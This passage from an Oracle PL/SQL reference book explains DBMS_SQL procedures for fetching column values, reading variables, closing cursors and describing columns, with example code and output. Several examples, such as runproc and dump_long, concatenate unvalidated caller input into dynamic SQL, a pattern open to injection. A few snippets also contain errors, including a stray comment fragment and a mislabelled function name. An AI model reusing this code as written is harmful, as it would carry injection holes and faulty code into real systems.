        ('returned by e_and_f ' || NVL (TO_CHAR (fdbk), '[NULL]'));
END;
/

Here are the results of executing this script in SQL*Plus:

SQL> @execftch 1 false
1
SQL> @execftch 2 false
0
SQL> @execftch 1 true
error code -1422
returned by e_and_f [NULL]
SQL> @execftch 2 true
error code 100
returned by e_and_f [NULL]ORA-01403: no data found

If you construct a dynamic SELECT or PL/SQL block, you can retrieve values from the cursor after execution. Use the COLUMN_VALUE procedure to obtain the values of individual columns in the fetched row of a SELECT. Use the COLUMN_VALUE_LONG procedure to obtain the values of a LONG column in the fetched row of a SELECT. Use the VARIABLE_VALUE procedure to extract the values of variables in a dynamic PL/SQL block.

2.3.8.1 The DBMS_SQL.COLUMN_VALUE procedure

The COLUMN_VALUE procedure retrieves a value from the cursor into a local variable. Use this procedure when the SQL statement is a query and you are fetching rows with EXECUTE_AND_FETCH or FETCH_ROWS. You can retrieve the value for a single column in a single row or, with PL/SQL8, you can retrieve the values for a single column across multiple rows fetched. The header for the single-row version of the procedure is as follows:

 PROCEDURE DBMS_SQL.COLUMN_VALUE
 (c IN INTEGER,
     position IN INTEGER,
    value OUT <datatype>,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

The COLUMN_VALUE parameters are summarized in the following table.

Parameter | Description
c | Pointer to the cursor.
position | Relative position of the column in the select list.
value | The PL/SQL structure that receives the column value. If the <datatype> of this argument does not match that of the cursor's column, DBMS_SQL will raise the DBMS_SQL.INCONSISTENT_DATATYPE exception.
<table_parameter> | The PL/SQL table (of type <table_type>) holding one or more colum values, depending on how many rows were previously fetched.
column_error | Returns an error code for the specified value (the value might be too large for the variable, for instance).
actual_length | Returns the actual length of the returned value before any truncation takes place (due to a difference in size between the retrieved value in the cursor and the variable).

<datatype> can be one of the following types:

NUMBER
DATE
MLSLABEL
VARCHAR2 CHARACTER SET ANY_CS
BLOB
CLOB CHARACTER SET ANY_CS
BFILE

The header for the multiple-row version of COLUMN_VALUE is as follows:

PROCEDURE DBMS_SQL.COLUMN_VALUE
   (c IN INTEGER,
    position IN INTEGER,
    <table_parameter> OUT <table_type>);

<table_parameter> OUT <table_type> can be one of the following:

n_tab OUT DBMS_SQL.NUMBER_TABLE
c_tab OUT DBMS_SQL.VARCHAR2_TABLE
d_tab OUT DBMS_SQL.DATE_TABLE
bl_tab OUT DBMS_SQL.BLOB_TABLE
cl_tab OUT DBMS_SQL.CLOB_TABLE
bf_tab OUT DBMS_SQL.BFILE_TABLE

The DBMS_SQL package also offers more specific variants of COLUMN_VALUE for less common datatype:

PROCEDURE DBMS_SQL.COLUMN_VALUE_CHAR
   (c IN INTEGER,
    position IN INTEGER,
    value OUT CHAR,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE_RAW
   (c IN INTEGER,
    position IN INTEGER,
    value OUT RAW,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

PROCEDURE DBMS_SQL.COLUMN_VALUE_ROWID
   (c IN INTEGER,
    position IN INTEGER,
    value OUT ROWID,
    [, column_error OUT NUMBER]
    [, actual_length OUT INTEGER ]);

You call COLUMN_VALUE after a row has been fetched to transfer the value from the SELECT list of the cursor into a local variable. For each call to the single-row COLUMN_VALUE, you should have made a call to DEFINE_COLUMN in order to define that column in the cursor. If you want to use the multiple-row version of COLUMN_VALUE, use the DEFINE_ARRAY procedure to define that column as capable of holding an array of values.

The following procedure displays employees by defining a cursor with two columns and, after fetching a row, calls COLUMN_VALUE to retrieve both column values:

/* Filename on companion disk: showemps.sp */
CREATE OR REPLACE PROCEDURE showemps (where_in IN VARCHAR2 := NULL)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   rec emp%ROWTYPE;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE
     (cur, 'SELECT empno, ename FROM emp ' ||
           ' WHERE ' || NVL (where_in, '1=1'),
      DBMS_SQL.NATIVE);

   DBMS_SQL.DEFINE_COLUMN (cur, 1, rec.empno);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, rec.ename, 30);

   fdbk := DBMS_SQL.EXECUTE (cur);
   LOOP
      /* Fetch next row. Exit when done. */
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      DBMS_SQL.COLUMN_VALUE (cur, 1, rec.empno);
      DBMS_SQL.COLUMN_VALUE (cur, 2, rec.ename);
      DBMS_OUTPUT.PUT_LINE (TO_CHAR (rec.empno) || '=' || rec.ename);
   END LOOP;

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

This next PL/SQL8 block fetches the hiredate and employee ID for all rows in the emp table and deposits values into two separate PL/SQL tables. Notice that since I know there are just 14 rows in the emp table, I need only one call to the EXECUTE_AND_FETCH function to fetch all rows.

/* Filename on companion disk: arrayemp.sp */
CREATE OR REPLACE PROCEDURE showall
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;

   empno_tab DBMS_SQL.NUMBER_TABLE;
   hiredate_tab DBMS_SQL.DATE_TABLE;
BEGIN
   DBMS_SQL.PARSE
     (cur, 'SELECT empno, hiredate FROM emp', DBMS_SQL.NATIVE);

   /* Allow fetching of up to 100 rows. */
   DBMS_SQL.DEFINE_ARRAY (cur, 1, empno_tab, 100, 1);
   DBMS_SQL.DEFINE_ARRAY (cur, 2, hiredate_tab, 100, 1);

   fdbk := DBMS_SQL.EXECUTE_AND_FETCH (cur);

   /* This will show total numbers of rows fetched. */
   DBMS_OUTPUT.PUT_LINE (fdbk);

   /* Get values for all rows in one call. */
   DBMS_SQL.COLUMN_VALUE (cur, 1, empno_tab);
   DBMS_SQL.COLUMN_VALUE (cur, 2, hiredate_tab);

   FOR rowind IN empno_tab.FIRST .. empno_tab.LAST
   LOOP
      DBMS_OUTPUT.PUT_LINE (empno_tab(rowind));
      DBMS_OUTPUT.PUT_LINE (hiredate_tab(rowind));
   END LOOP;

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

The Section 2.5, "DBMS_SQL Examples"" section provides other examples of array processing in DBMS_SQL.

2.3.8.2 The DBMS_SQL.COLUMN_VALUE_LONG procedure

DBMS_SQL provides a separate procedure, COLUMN_VALUE_LONG, to allow you to retrieve LONG values from a dynamic query. The header for this program is as follows:

PROCEDURE DBMS_SQL.COLUMN_VALUE_LONG
    (c IN INTEGER
    ,position IN INTEGER
    ,length IN INTEGER
    ,offset IN INTEGER
    ,value OUT VARCHAR2
    ,value_length OUT INTEGER);

The COLUMN_VALUE_LONG parameters are summarized in the following table.

Parameter | Description
c | Pointer to the cursor.
position | Relative position of the column in the select list.
length | The length in bytes of the portion of the LONG value to be retrieved.
offset | The byte position in the LONG column at which the retrieval is to start.
value | The variable that will receive part or all of the LONG column value.
value_length | The actual length of the retrieved value.

The COLUMN_VALUE_LONG procedure offers just about the only way to obtain a LONG value from the database and move it into PL/SQL data structures in your program. You cannot rely on a static SELECT to do this. Instead, use DBMS_SQL and both the DEFINE_COLUMN_LONG and COLUMN_VALUE_LONG procedures.

The following example demonstrates the technique, and, in the process, offers a generic procedure called dump_long that you can use to dump the contents of a long column in your table into a local PL/SQL table. The dump_long procedure accepts a table name, column name, and optional WHERE clause. It returns a PL/SQL table with the LONG value broken up into 256-byte chunks.

/* Filename on companion disk: dumplong.sp */
CREATE OR REPLACE PROCEDURE dump_long (
   tab IN VARCHAR2,
   col IN VARCHAR2,
   whr IN VARCHAR2 := NULL,
   pieces IN OUT DBMS_SQL.VARCHAR2S)
/* Requires Oracle 7.3 or above */
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;

   TYPE long_rectype IS RECORD (
      piece_len PLS_INTEGER,
      pos_in_long PLS_INTEGER,
      one_piece VARCHAR2(256),
      one_piece_len PLS_INTEGER
      );
   rec long_rectype;

  BEGIN
       if whr is NULL */
   DBMS_SQL.PARSE (
      cur,
      'SELECT ' || col ||
      '  FROM ' || tab ||
      ' WHERE ' || NVL (whr, '1 = 1'),
      DBMS_SQL.NATIVE);

   /* Define the long column and then execute and fetch... */
   DBMS_SQL.DEFINE_COLUMN_LONG (cur, 1);
   fdbk := DBMS_SQL.EXECUTE (cur);
   fdbk := DBMS_SQL.FETCH_ROWS (cur);

   /* If a row was fetched, loop through the long value until
   || all pieces are retrieved.
   */
   IF fdbk > 0
   THEN
      rec.piece_len := 256;
      rec.pos_in_long := 0;
      LOOP
         DBMS_SQL.COLUMN_VALUE_LONG (
            cur,
            1,
            rec.piece_len,
            rec.pos_in_long,
            rec.one_piece,
            rec.one_piece_len);
         EXIT WHEN rec.one_piece_len = 0;

         /* Always put the new piece in the next available row */
         pieces (NVL (pieces.LAST, 0) + 1) := rec.one_piece;
         rec.pos_in_long := rec.pos_in_long + rec.one_piece_len;
      END LOOP;
   END IF;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

To test this procedure, I created a table with a LONG column as follows (the table creation, INSERT, and test script may all be found in dumplong.tst):

DROP TABLE nextbook;
CREATE TABLE nextbook
   (title VARCHAR2(100), text LONG);
INSERT INTO nextbook VALUES
   ('Oracle PL/SQL Quick Reference',
    RPAD ('INSTR ', 256, 'blah1 ') ||
    RPAD ('SUBSTR ', 256, 'blah2 ') ||
    RPAD ('TO_DATE ', 256, 'blah3 ') ||
    RPAD ('TO_CHAR ', 256, 'blah4 ') ||
    RPAD ('LOOP ', 256, 'blah5 ') ||
    RPAD ('IF ', 256, 'blah6 ') ||
    RPAD ('CURSOR ', 256, 'blah7 ')
    );

I then put together this short test script. It extracts the single value from the table. (I pass a NULL WHERE clause, so it simply returns the first -- and only -- row fetched.) It then uses a numeric FOR loop to scan through the returned table to display the results.

  DECLARE
   mytab DBMS_SQL.VARCHAR2S;
BEGIN
   dump_long ('nextbook', 'text', NULL, mytab);
   FOR longind IN 1 .. mytab.COUNT
   LOOP
      DBMS_OUTPUT.PUT_LINE  (SUBSTR (mytab(longind), 1, 60));
   END LOOP;
END;
/

Here is the output displayed in my SQL*Plus window:

INSTR blah1 blah1 blah1 blah1 blah1 blah1 blah1 blah1 blah1
SUBSTR blah2 blah2 blah2 blah2 blah2 blah2 blah2 blah2 blah2
TO_DATE blah3 blah3 blah3 blah3 blah3 blah3 blah3 blah3 blah
TO_CHAR blah4 blah4 blah4 blah4 blah4 blah4 blah4 blah4 blah
LOOP blah5 blah5 blah5 blah5 blah5 blah5 blah5 blah5 blah5 b
IF blah6 blah6 blah6 blah6 blah6 blah6 blah6 blah6 blah6 bla
CURSOR blah7 blah7 blah7 blah7 blah7 blah7 blah7 blah7 blah7

2.3.8.3 The DBMS_SQL.VARIABLE_VALUE procedure

The VARIABLE_VALUE procedure retrieves the value of a named variable from the specified PL/SQL block. You can retrieve the value for a single variable, or, with PL/SQL8, you can retrieve the values for an array or PL/SQL table of values. This is the header for the single-row version of the procedure:

PROCEDURE DBMS_SQL.VARIABLE_VALUE
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT <datatype>);

The VARIABLE_VALUE parameters are summarized in the following table.

Parameter | Description
c | The handle or pointer to the cursor originally returned by a call to OPEN_CURSOR.
name | The name of the host variable included in the PL/SQL statement passed to PARSE.
value | The PL/SQL data structure (either a scalar variable, <datatype>, or a PL/SQL table, <table_type>) that receives the value from the cursor.

<datatype> can be one of the following:

NUMBER
DATE
MLSLABEL
VARCHAR2 CHARACTER SET ANY_CS
BLOB
CLOB CHARACTER SET ANY_CS
BFILE

The header for the multiple-row version of VARIABLE_VALUE is the following:

PROCEDURE DBMS_SQL.VARIABLE_VALUE
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value IN <table_type>);

<table_type> can be one of the following:

DBMS_SQL.NUMBER_TABLE
DBMS_SQL.VARCHAR2_TABLE
DBMS_SQL.DATE_TABLE
DBMS_SQL.BLOB_TABLE
DBMS_SQL.CLOB_TABLE
DBMS_SQL.BFILE_TABLE

The DBMS_SQL package also offers more specific variants of VARIABLE_VALUE for less common datatypes:

PROCEDURE DBMS_SQL.VARIABLE_VALUE_CHAR
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT CHAR CHARACTER SET ANY_CS);

PROCEDURE DBMS_SQL.VARIABLE_VALUE_RAW
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT RAW);

PROCEDURE DBMS_SQL.VARIABLE_VALUE_ROWID
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT ROWID);

If you use the multiple-row version of VARIABLE_VALUE, you must have used the BIND_ARRAY procedure to define the bind variable in the PL/SQL block as an array of values.

The following program allows you to provide the name of a stored procedure, a list of IN parameters, and a single OUT variable. It then uses dynamic PL/SQL to construct and execute that stored procedure, and finally retrieves the OUT value and returns it to the calling block.

/* Filename on companion disk: runprog.sp */
CREATE OR REPLACE PROCEDURE runproc
   (proc IN VARCHAR2, arglist IN VARCHAR2, outval OUT NUMBER)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE
     (cur, 'BEGIN ' || proc || '(' || arglist || ', :outparam); END;',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_VARIABLE (cur, 'outparam', 1);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_SQL.VARIABLE_VALUE (cur, 'outparam', outval);

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Now if I have the following procedure defined:

CREATE OR REPLACE PROCEDURE testdyn
   (in1 IN NUMBER, in2 IN DATE, out1 OUT NUMBER)
IS
BEGIN
   out1 := in1 + TO_NUMBER (TO_CHAR (in2, 'YYYY'));
END;
/

Then I can execute testdyn dynamically as follows:

DECLARE
   n NUMBER;
BEGIN
    runproc ('testdyn', '1, sysdate', n);
    DBMS_OUTPUT.PUT_LINE (n);
END;
/

As you have likely discerned, this is not a very good general-purpose program. It will work only with procedures that have parameter lists in which the last argument is a numeric OUT parameter and that argument must be the only OUT or IN OUT parameter in the list.

There can be many complications when attempting to execute dynamic PL/SQL. For suggestions on how best to perform these tasks, see the "Tips on Using Dynamic SQL" section.

2.3.9 Closing the Cursor

When you are done working with a cursor, you should close it and release associated memory.

2.3.9.1 The DBMS_SQL.CLOSE_CURSOR procedure

The CLOSE_CURSOR procedure closes the specified cursor and sets the cursor handle to NULL. It releases all memory associated with the cursor. The specification for the procedure is,

PROCEDURE DBMS_SQL.CLOSE_CURSOR
   (c IN OUT INTEGER);

where c is the handle or pointer to the cursor that was originally returned by a call to OPEN_CURSOR. The parameter is IN OUT because once the cursor is closed, the pointer is set to NULL.

If you try to close a cursor that is not open or that is not a valid cursor ID, this program will raise the INVALID_CURSOR exception. You might consider building a "wrapper" for CLOSE_CURSOR to avoid this exception.

CREATE OR REPLACE PROCEDURE closeif (c IN OUT INTEGER)
IS
BEGIN
   IF DBMS_SQL.IS_OPEN (c)
   THEN
      DBMS_SQL.CLOSE_CURSOR (c);
   END IF;
END;
/

2.3.10 Checking Cursor Status

Several functions allow you to check the status of a cursor.

2.3.10.1 The DBMS_SQL.LAST_ERROR_POSITION function

The LAST_ERROR_POSITION function returns the byte offset in the SQL statement where the error occurred. The first character in the statement is at position 0. This function offers the same kind of feedback SQL*Plus offers you when it displays a syntax or value error while executing a SQL statement: it displays the problematic text with an asterisk (*) under the character that caused the problem. Here's the specification for this function:

FUNCTION DBMS_SQL.LAST_ERROR RETURN INTEGER;

You must call this function immediately after a call to EXECUTE or EXECUTE_AND_FETCH in order to obtain meaningful results. The following script demonstrates when and how this function's return value can come in handy:

/* Filename on companion disk: file errpos.sql */*
DECLARE
   cur BINARY_INTEGER := DBMS_SQL.OPEN_CURSOR;
   errpos BINARY_INTEGER;
   fdbk BINARY_INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur, 'SELECT empno, ^a FROM emp', DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 1);
   fdbk := DBMS_SQL.EXECUTE_AND_FETCH (cur, false);
   DBMS_SQL.CLOSE_CURSOR (cur);
EXCEPTION
   WHEN OTHERS
   THEN
      errpos := DBMS_SQL.LAST_ERROR_POSITION;
      DBMS_OUTPUT.PUT_LINE (SQLERRM || ' at pos ' || errpos);
      DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

When I run this script in SQL*Plus, I get the following output:

SQL> @errpos
ORA-00936: missing expression at pos 14

One of the greatest frustrations with dynamic SQL is getting your string strung together improperly. It is very easy to introduce syntax errors. The DBMS_SQL.LAST_ERROR_POSITION function can be a big help in uncovering the source of your problem.

NOTE: Some readers may be wondering why I declared a local variable called errpos and assigned the value to it before calling DBMS_OUTPUT.PUT_LINE to examine the error. The reason (discovered by Eric Givler, ace technical reviewer for this book) is that if I do not grab the value from this function before calling SQLERRM, the function will return 0 instead of the 14 for which I am looking.

If my exception section looks, for example, as follows,

   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE
         (SQLERRM || ' at pos ' || DBMS_SQL.LAST_ERROR_POSITION);
      DBMS_SQL.CLOSE_CURSOR (cur);

then the output from running the program will become:

SQL> @errpos
ORA-00936: missing expression at pos 0

Why does this happen? The SQLERRM function must be executing an implicit SQL statement (probably a query!). This action resets the values returned by this DBMS_SQL function, since it is tied to the underlying, generic implicit cursor attribute.

2.3.10.2 The DBMS_SQL.LAST_ROW_COUNT function

The LAST_ROW_COUNT function returns the total number of rows fetched at that point. This function corresponds to the %ROWCOUNT attribute of a normal, static cursor in PL/SQL. Here's the specification for this function:

FUNCTION DBMS_SQL.LAST_ROW_COUNT RETURN INTEGER;

You must call this function immediately after a call to EXECUTE_AND_FETCH or FETCH_ROWS in order to obtain meaningful results. You will most likely use this function when fetching from within a loop:

CREATE OR REPLACE PROCEDURE show_n_emps (lim IN INTEGER)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
   v_ename emp.ename%TYPE;
BEGIN
   DBMS_SQL.PARSE (cur, 'SELECT ename FROM emp', DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, v_ename, 100);
   fdbk := DBMS_SQL.EXECUTE (cur);
   LOOP
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      IF DBMS_SQL.LAST_ROW_COUNT <= lim
      THEN
         DBMS_SQL.COLUMN_VALUE (cur, 1, v_ename);
         DBMS_OUTPUT.PUT_LINE (v_ename);
      ELSE
         /* Hit maximum. Display message and exit. */
         DBMS_OUTPUT.PUT_LINE
            ('Displayed ' || TO_CHAR (lim) || ' employees.');
         EXIT;
      END IF;
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

2.3.10.3 The DBMS_SQL.LAST_ROW_ID function

The LAST_ROW_ID function returns the ROWID of the row fetched most recently. The specification for this function is as follows:

FUNCTION DBMS_SQL.LAST_ROW_ID RETURN ROWID;

You must call this function immediately after a call to EXECUTE_AND_FETCH or FETCH_ROWS in order to obtain meaningful results. This function is useful mostly for debugging purposes and perhaps to log which records have been affected.

2.3.10.4 The DBMS_SQL.LAST_SQL_FUNCTION_CODE function

The LAST_SQL_FUNCTION_CODE function returns the SQL function code for the SQL statement. The specification for this function is as follows:

FUNCTION DBMS_SQL.LAST_SQL_FUNCTION_CODE RETURN INTEGER;

You must call this function immediately after a call to EXECUTE_AND_FETCH or EXECUTE in order to obtain meaningful results. It will tell you which type of SQL statement was executed.

The SQL function codes are listed in Table 2.3.

Table 2.3: SQL Function Codes
Code | SQL Function | Code | SQL Function | Code | SQL Function
01 | CREATE TABLE | 35 | LOCK | 69 | (NOT USED)
02 | SET ROLE | 36 | NOOP | 70 | ALTER RESOURCE COST
03 | INSERT | 37 | RENAME | 71 | CREATE SNAPSHOT LOG
04 | SELECT | 38 | COMMENT | 72 | ALTER SNAPSHOT LOG
05 | UPDATE | 39 | AUDIT | 73 | DROP SNAPSHOT LOG
06 | DROP ROLE | 40 | NO AUDIT | 74 | CREATE SNAPSHOT
07 | DROP VIEW | 41 | ALTER INDEX | 75 | ALTER SNAPSHOT
08 | DROP TABLE | 42 | CREATE EXTERNAL DATABASE | 76 | DROP SNAPSHOT
09 | DELETE | 43 | DROP EXTERNAL DATABASE | 77 | CREATE TYPE
10 | CREATE VIEW | 44 | CREATE DATABASE | 78 | DROP TYPE
11 | DROP USER | 45 | ALTER DATABASE | 79 | ALTER ROLE
12 | CREATE ROLE | 46 | CREATE ROLLBACK SEGMENT | 80 | ALTER TYPE
13 | CREATE SEQUENCE | 47 | ALTER ROLLBACK SEGMENT | 81 | CREATE TYPE BODY
14 | ALTER SEQUENCE | 48 | DROP ROLLBACK SEGMENT | 82 | ALTER TYPE BODY
15 | (NOT USED) | 49 | CREATE TABLESPACE | 83 | DROP TYPE BODY
16 | DROP SEQUENCE | 50 | ALTER TABLESPACE | 84 | DROP LIBRARY
17 | CREATE SCHEMA | 51 | DROP TABLESPACE | 85 | TRUNCATE TABLE
18 | CREATE CLUSTER | 52 | ALTER SESSION | 86 | TRUNCATE CLUSTER
19 | CREATE USER | 53 | ALTER USER | 87 | CREATE BITMAPFILE
20 | CREATE INDEX | 54 | COMMIT (WORK) | 88 | ALTER VIEW
21 | DROP INDEX | 55 | ROLLBACK | 89 | DROP BITMAPFILE
22 | DROP CLUSTER | 56 | SAVEPOINT | 90 | SET CONSTRAINTS
23 | VALIDATE INDEX | 57 | CREATE CONTROL FILE | 91 | CREATE FUNCTION
24 | CREATE PROCEDURE | 58 | ALTER TRACING | 92 | ALTER FUNCTION
25 | ALTER PROCEDURE | 59 | CREATE TRIGGER | 93 | DROP FUNCTION
26 | ALTER TABLE | 60 | ALTER TRIGGER | 94 | CREATE PACKAGE
27 | EXPLAIN | 61 | DROP TRIGGER | 95 | ALTER PACKAGE
28 | GRANT | 62 | ANALYZE TABLE | 96 | DROP PACKAGE
29 | REVOKE | 63 | ANALYZE INDEX | 97 | CREATE PACKAGE BODY
30 | CREATE SYNONYM | 64 | ANALYZE CLUSTER | 98 | ALTER PACKAGE BODY
31 | DROP SYNONYM | 65 | CREATE PROFILE | 99 | DROP PACKAGE BODY
32 | ALTER SYSTEM SWITCH LOG | 66 | DROP PROFILE | 157 | CREATE DIRECTORY
33 | SET TRANSACTION | 67 | ALTER PROFILE | 158 | DROP DIRECTORY
34 | PL/SQL EXECUTE | 68 | DROP PROCEDURE | 159 | CREATE LIBRARY

2.3.11 Describing Cursor Columns

With PL/SQL8, you can now obtain information about the structure of the columns of your dynamic cursor.

2.3.11.1 The DBMS_SQL.DESCRIBE_COLUMNS procedure

The DESCRIBE_COLUMNS procedure obtains information about your dynamic cursor. Here is the header:

PROCEDURE DBMS_SQL.DESCRIBE_COLUMNS
    (c IN INTEGER
    ,col_cnt OUT INTEGER
    ,desc_t OUT DBMS_SQL.DESC_TAB);

The parameters for the DESCRIBE_COLUMNS procedure are summarized in the following table.

Parameter | Description
c | The pointer to the cursor.
col_cnt | The number of columns in the cursor, which equals the number of rows defined in the PL/SQL table.
desc_t | The PL/SQL table, which contains all of the column information. This is a table of records of type DBMS_SQL.DESC_REC (<table_type), which is described later.

The following table lists the DBMS_SQL.DESC_REC record type fields.

<table_type> | Datatype | Description
col_type | BINARY_INTEGER | Type of column described
col_max_len | BINARY_INTEGER | Maximum length of column value
col_name | VARCHAR2(32) | Name of the column
col_name_len | BINARY_INTEGER | Length of the column name
col_schema_name | VARCHAR2(32) | Name of column type schema if an object type
col_schema_name_len | BINARY_INTEGER | Length of schema name
col_precision | BINARY_INTEGER | Precision of column if a number
col_scale | BINARY_INTEGER | Scale of column if a number
col_charsetid | BINARY_INTEGER | ID of character set
col_charsetform | BINARY_INTEGER | Character set form
col_null_ok | BOOLEAN | TRUE if column can be NULL

The values for column types are as follows:

Datatype | Number
VARCHAR2 | 1
NVARCHAR2 | 1
NUMBER | 2
INTEGER | 2
LONG | 8
ROWID | 11
DATE | 12
RAW | 23
LONG RAW | 24
CHAR | 96
NCHAR | 96
MLSLABEL | 106
CLOB (Oracle8) | 112
NCLOB (Oracle8) | 112
BLOB (Oracle8) | 113
BFILE (Oracle8) | 114
Object type (Oracle8) | 121
Nested table Type (Oracle8) | 122
Variable array (Oracle8) | 123

When you call this program, you need to have declared a PL/SQL table based on the DBMS_SQL.DESC_T. You can then use PL/SQL table methods to traverse the table and extract the needed information about the cursor. The following anonymous block shows the basic steps you will perform when working with this built-in:

DECLARE
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   cols DBMS_SQL.DESC_T;
   ncols PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE
      (cur, 'SELECT hiredate, sal FROM emp', DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, SYSDATE);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, 1);
   DBMS_SQL.DESCRIBE_COLUMNS (cur, ncols, cols);
   FOR colind IN 1 .. ncols
   LOOP
      DBMS_OUTPUT.PUT_LINE (cols.col_name);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

If you are going to use this procedure to extract information about a dynamic cursor, you will likely want to build a "wrapper" around it to make it easier for you to get at this data. The Section 2.5" section at the end of this chapter offers an example of this wrapper.

How'd He Get Those Numbers?

The Oracle documentation for DBMS_SQL tells us only that the col_type field of the DBMS_REC record contains the "type of the column being described" and that the type is an INTEGER. Well, what exactly are those integer values? I could have sent email to someone at Oracle Corporation and waited for a response. But even then, how would I be sure that those values are correct? And why depend on another person, when I can depend on the software itself?

To figure out the different column type values, I first constructed a table as follows:

CREATE TABLE coltypes
   (vc VARCHAR2(10),
    nvc NVARCHAR2(10),
    ch CHAR(10),
    nch NCHAR(10),
    d DATE,
    n NUMBER,
    i INTEGER,
    l LONG,
    r RAW(100),
    rid ROWID,
    cl CLOB,
    ncl NCLOB,
    bl BLOB,
    bf BFILE,
    msl MLSLABEL
    )
/

These columns pretty much cover all of the datatypes through Oracle8. I then built a script which relies on the desccols package to call the DESCRIBE_COLUMNS procedure (see the Section 2.5" section) and display the column information, including the column types.

/* Filename on companion disk: desccols.xmn */
DECLARE
   cur integer := dbms_sql.open_cursor;
   cl CLOB;
   bl BLOB;
   ncl NCLOB;
   bf BFILE;
   msl MLSLABEL;
   r RAW(100);
   rid ROWID;
BEGIN
   dbms_sql.PARSE (cur, 'SELECT vc, nvc, ch, nch, d, n, i, l, r, rid, cl, ncl, bl, bf, msl FROM coltypes', DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 'a', 10);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, 'a', 10);
   DBMS_SQL.DEFINE_COLUMN_CHAR (cur, 3, 'a', 10);
   DBMS_SQL.DEFINE_COLUMN_CHAR (cur, 4, 'a', 10);
   DBMS_SQL.DEFINE_COLUMN (cur, 5, SYSDATE);
   DBMS_SQL.DEFINE_COLUMN (cur, 6, 1);
   DBMS_SQL.DEFINE_COLUMN (cur, 7, 1);
   DBMS_SQL.DEFINE_COLUMN_LONG (cur, 8);
   DBMS_SQL.DEFINE_COLUMN_RAW (cur, 9, r, 10);
   DBMS_SQL.DEFINE_COLUMN_ROWID (cur, 10, rid);
   DBMS_SQL.DEFINE_COLUMN (cur, 11, cl);
   DBMS_SQL.DEFINE_COLUMN (cur, 12, ncl);
   DBMS_SQL.DEFINE_COLUMN (cur, 13, bl);
   DBMS_SQL.DEFINE_COLUMN (cur, 14, bf);
   DBMS_SQL.DEFINE_COLUMN (cur, 15, msl);
   dyncur.desccols (cur);
   dyncur.show;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

and I got this output:

Column 1
VC
1
Column 2
NVC
1
Column 3
CH
96
Column 4
NCH
96
Column 5
D
12
Column 6
N
2
Column 7
I
2
Column 8
L
8
Column 9
R
23
Column 10
RID
11
Column 11
CL
112
Column 12
NCL
112
Column 13
BL
113
Column 14
BF
114
Column 15
MSL
106

I could then document those values with confidence in this book. I wanted to show you this so that you understand that even when a person knows an awful lot about PL/SQL, he doesn't necessarily know everything. In fact, knowing everything is completely impossible and anyone claiming to "know it all" should not be trusted. Recognize your areas of ignorance and then search out the answers, preferably by going to the source -- the source code, that is.

Previous: 2.2 Getting Started with DBMS_SQL | Oracle Built-in Packages | Next: 2.4 Tips on Using Dynamic SQL
2.2 Getting Started with DBMS_SQL | Book Index | 2.4 Tips on Using Dynamic SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.4 Tips on Using Dynamic SQL

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

2.4 Tips on Using Dynamic SQL

This section offers advice about how best to take advantage of dynamic SQL and the DBMS_SQL package. Following this section is a series of detailed examples of putting DBMS_SQL to use.

2.4.1 Some Restrictions

You can do a lot of awfully interesting stuff with DBMS_SQL, but some things are off-limits:

  • You cannot manipulate cursor variables from within dynamic SQL. Cursor variables are a relatively new, advanced, and little-used feature of PL/SQL (see Chapter 6 of Oracle PL/SQL Programming for more information). But if you want to use them, you'll have to do it in static PL/SQL code.

  • Unless otherwise noted, DBMS_SQL does not support many of the new data structures in Oracle8. For example, you cannot bind an object or a nested table or a variable array.

2.4.2 Privileges and Execution Authority with DBMS_SQL

There are two basic rules to remember when working with DBMS_SQL:

  • Stored programs execute under the privileges of the owner of that program. So if you parse and execute dynamic SQL from within a program, references to database objects in that SQL statement are resolved according to the schema of the program, not the schema of the person running the program.

